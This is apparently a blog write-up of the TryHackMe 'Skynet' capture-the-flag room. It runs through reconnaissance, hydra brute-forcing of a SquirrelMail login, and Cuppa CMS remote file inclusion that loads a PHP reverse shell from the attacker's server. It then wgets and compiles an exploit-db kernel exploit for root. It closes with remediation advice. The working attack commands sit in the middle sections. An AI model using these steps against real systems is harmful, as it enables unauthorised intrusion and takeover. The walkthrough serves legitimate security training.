troy@home:~$

Archive

About

RSS

CTF Writeup: tryhackme.com Skynet


Introduction

Once again, I will do a tryhackme.com capture the flag writeup. This time we will take a look at the Skynet room. The introduction to this room simply states:

Are you able to compromise this Terminator themed machine?

In addition to obtaining the usual user and root flags, we will also need to answer a few questions including:

  • What is Miles’ password for his emails?
  • What is the hidden directory?
  • What is the vulnerability called when you can include a remote file for malicious purposes?

As always, we will first need to connect to the tryhackme.com network via VPN. If you have never done so before, you can find the relevant information and configuration file here.

Reconnaissance

After we’ve spun up the machine in the room, we’ll begin with the standard reconaissance tools. Let’s begin with an nmap scan:

nmap -sC -sV 10.10.154.84

From this output we can see that we have several services running on this machine including ssh, a web server on port 80, pop3 and imap on ports 110 and 143, as well as netbios/Samba on 139 and 445. This gives us several targets to enumerate such as a possible web server, email server, and a samba share.

Let’s check out the web server next. Navigating to the ip address in our browser gives us a page with a “Skynet” logo and a search bar:

The search bar does not seem to work. Having seen that, let’s enumerate possible directories using gobuster and the common.txt wordlist from seclists:

gobuster -u http://10.10.154.84 -w /usr/share/wordlists/gobuster/common.txt

This output shows us several directories of interest including /admin, /config, and /squirrelmail. Upon investigation, both /admin and /config were Forbidden, but /squirrelmail led to an email login portal:

Recall that the first question asks us what is Miles’ email password. We don’t have username yet (although miles is certainly a possibility), so let’s just note this down for now. Also note that the version of squirrelmail here is 1.4.23 in case there are any know vulnerabilities. For now, let’s continue our recon.

There is also a Samba share running on this machine. Let’s see if we can get anonymous login:

smbclient \\\\10.10.154.84\\anonymous

Here we can just leave the password blank when prompted for it. Once in, let’s see what files are here, if any:

We see a file called attention.txt in the first directory and some type of log files in the \logs directory. We also see a share for milesdyson (possible username?), so we note that down. At this point we can either download the files to our local machine using the get filename command or read the files directly on the share using more filename. Either way, we see that attention.txt states:

A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this. -Miles Dyson

That could potentially be useful information. Let’s look at the log files. The log1.txt file seems to be a wordlist:

Both log2.txt and log3.txt were empty. Let’s grab log1.txt using get log1.txt and then log out of the share.

Next I tried using username: milesdyson and the “passwords” from log1.txt along with hydra to brute-force the milesdyson samba share login, but had no luck. So let’s take that info back to the squirrelmail login page and try there.

In order to do so, we need to get some information from our browser’s developer tools. Here I’m using firefox. First navigate to the login page at http://10.10.154.84/squirrelmail/src/login.php, substituting the IP address for your tryhackme instance. Then right click –> Inspect to open developer tools and click on the “Network” tab. Next, enter something into the username and password fields (It doesn’t matter what. Here I use “test” and “test”) and click Login. Note that on a failure we get redirected to http://10.10.154.84/squirrelmail/src/redirect.php and that the failure message is “Unknown user or password incorrect.”

Then right-click on the POST request that appears in the bottom pane and select “Edit and resend”. Upon doing so, scroll down to the bottom of the bottom-right pane and look for the request body. In this case it is “login_username=test&secretkey=test&js_autodetect_results=1&just_logged_in=1.” Now we have all the information we need to brute force this web login. We can do so with hydra as follows:

hydra -l milesdyson -P log1.txt 10.10.154.84 http-post-form '/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown user or password incorrect.'

If we did everything correctly, hydra should find the password (redacted here) among the log1.txt file. Now we can answer the first question in the tryhackme room. Upon using that to login to the milesdyson account, we see an inbox with three emails:

The “Samba Password reset” email certainly looks interesting. Let’s open that up:

Here we see an automatically generated Samba password. Let’s go back to the milesdyson samba share and try to log in with it using smbclient:

smbclient \\\\10.10.154.84\\milesdyson -U milesdyson

We’re in. Navigating around, we see a bunch of pdfs and markdown files on machine learning and neural networks. Makes sense. It is Miles Dyson after all.

In a directory called notes, a file called important.txt is notable. Opening it up it reads:

  1. Add features to beta CMS /45kra24zxs28v3yd
  2. Work on T-800 Model 101 blueprints
  3. Spend more time with my wife

That is almost certainly the hidden directory on the web server we are intended to find. Let’s confirm:

We are greeted witht above page. Nwow we can answer the second question. Since this is some sort of CMS, let’s enumerate this directory with gobuster:

gobuster -u http://10.10.154.84/45kra24zxs28v3yd -w /usr/share/wordlists/gobuster/common.txt

The scan reveals an /administrator directory, which leads to an admin login portal for Cuppa CMS:

Neither the Samba or squirrelmail logins work here. Let’s check exploit-db for any vulnerabilities with this CMS:

Initial Access

There is one entry: a local/remote file inclusion vulnerability. Looking deeper, we see that the vulnerable page is ppa/alerts/alertConfigField.php?urlConfig=[FI]. We can enter this url in our browser and point the urlConfig variable to a malicious php file (served by us) containing a php reverse shell. There are several components to this attack. First we need a php reverse shell. We can get that from pentestmonkey using a wget:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Then we open that in a text editor and change the ip address to our attacking machine’s IP address (on the tryhackme network) and select a port to listen on. Here I use port 8000.

Now we need to serve php-reverse-shell.php. Here I just user python http.server from the directory where the file is located, listening on port 4040:

python3 -m http.server 4040

Then we need to set up our netcat listener to catch the reverse shell. Here we do so, using the port we specified in php-reverse-shell.php:

nc -lvnp 8000

Once the listener and the web server are ready to go, we go back to our web browser and enter the above address, substituting the address of our web server’s reverse shell file like so:

http://10.10.154.84/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.6.84.108:4040/php-reverse-shell.php

If all goes well, the web page should look likes it is perpetually loading. If we go back to our terminal, we should see that the web server successfully served the file and the netcat listener should have caught the reverse shell:

Since that was succesful, we now know the answer to question 3. Simply enter the name of the vulnerability we just used. We see that we are now user www-data using the whoami command. Let’s now stabilize this shell somewhat using some python magic:

python -c 'import pty; pty.spawn("/bin/bash")'

Note that we have permission to read files in milesdyson’s home directory where the user flag is. We can cat it out to get the user flag:

Privilege Escalation

Last of all we need to elevate privileges to root and get the root flag. This may be easier if we can pivot to the milesdyson account, so let’s try the passwords that we’ve used successfully so far:

Great, one of them worked.

I used the LinEnum script to look for potential attack vectors and noticed that the machine was running an outdated version of Ubuntu (16.04). I seem to recall a vulnerability with this. Let’s check exploit-db once again. Turns out there is a lot:

I ended up choosing the second one since it had an exploit already written in C and seemed quite easy to execute. First, grab the exploit program:

wget https://www.exploit-db.com/download/47169 -O exploit.c

Now we need to get the program onto the target. Here I make use of python http.server again to serve the file and then use wget on the target web server to grab it. Attacking machine:

python3 -m http.server 4040

Target machine:

wget http://10.6.84.108:4040/exploit.c

The exploit is now on the target machine. Next we need to compile it with:

gcc exploit.c -o exploit

Then we give ourselves execute priviliges and run the program:

chmod +x exploit
./exploit

Just like that, we are root. Last of all we get the user flag:

Lessons Learned

A series of security misconfigurations and issues led to the complete compromise of this machine. How could the administrator prevented this from happening? Let’s review the issues:

  1. Samba permitted anonymous login. This is generally not advised. The administrator should disable guest login in the /etc/samba/smb.conf file. If guest logins are necessary for some reason, there should not be any sensitive information in the anonymous share.

  2. There was a wordlist in the anonymous samba share, one entry of which was the login for milesdyson’s email account on the server. This password also turned out to be his user password on the system. This allowed us to bruteforce his email login. Again, there should not be sensitive information in the anonymous share. In this case it was a complete lapse of judgement because there was a password wordlist, one of which was the correct password for a service (squirrel mail) running on the server.

  3. milesdyson did not reset his Samba password after receiving his password reset email. This is necessary because the system-generated password was in cleartext. Anyone who gains access to his emails will automatically gain access to his samba share.

  4. milesdyson was using a CMS with a known vulnerability that was unpatched. In this case, the vulnerability in Cuppa CMS. This is an old CMS and this vulnerability was never patched. Therefore, the administrator should migrate content to a more secure and modern CMS and completely remove Cuppa from the system.

  5. The system was running an outdated version of Ubuntu with several known privilege escalation vulnerabilities. The administrator should update to a newer version of Ubuntu server.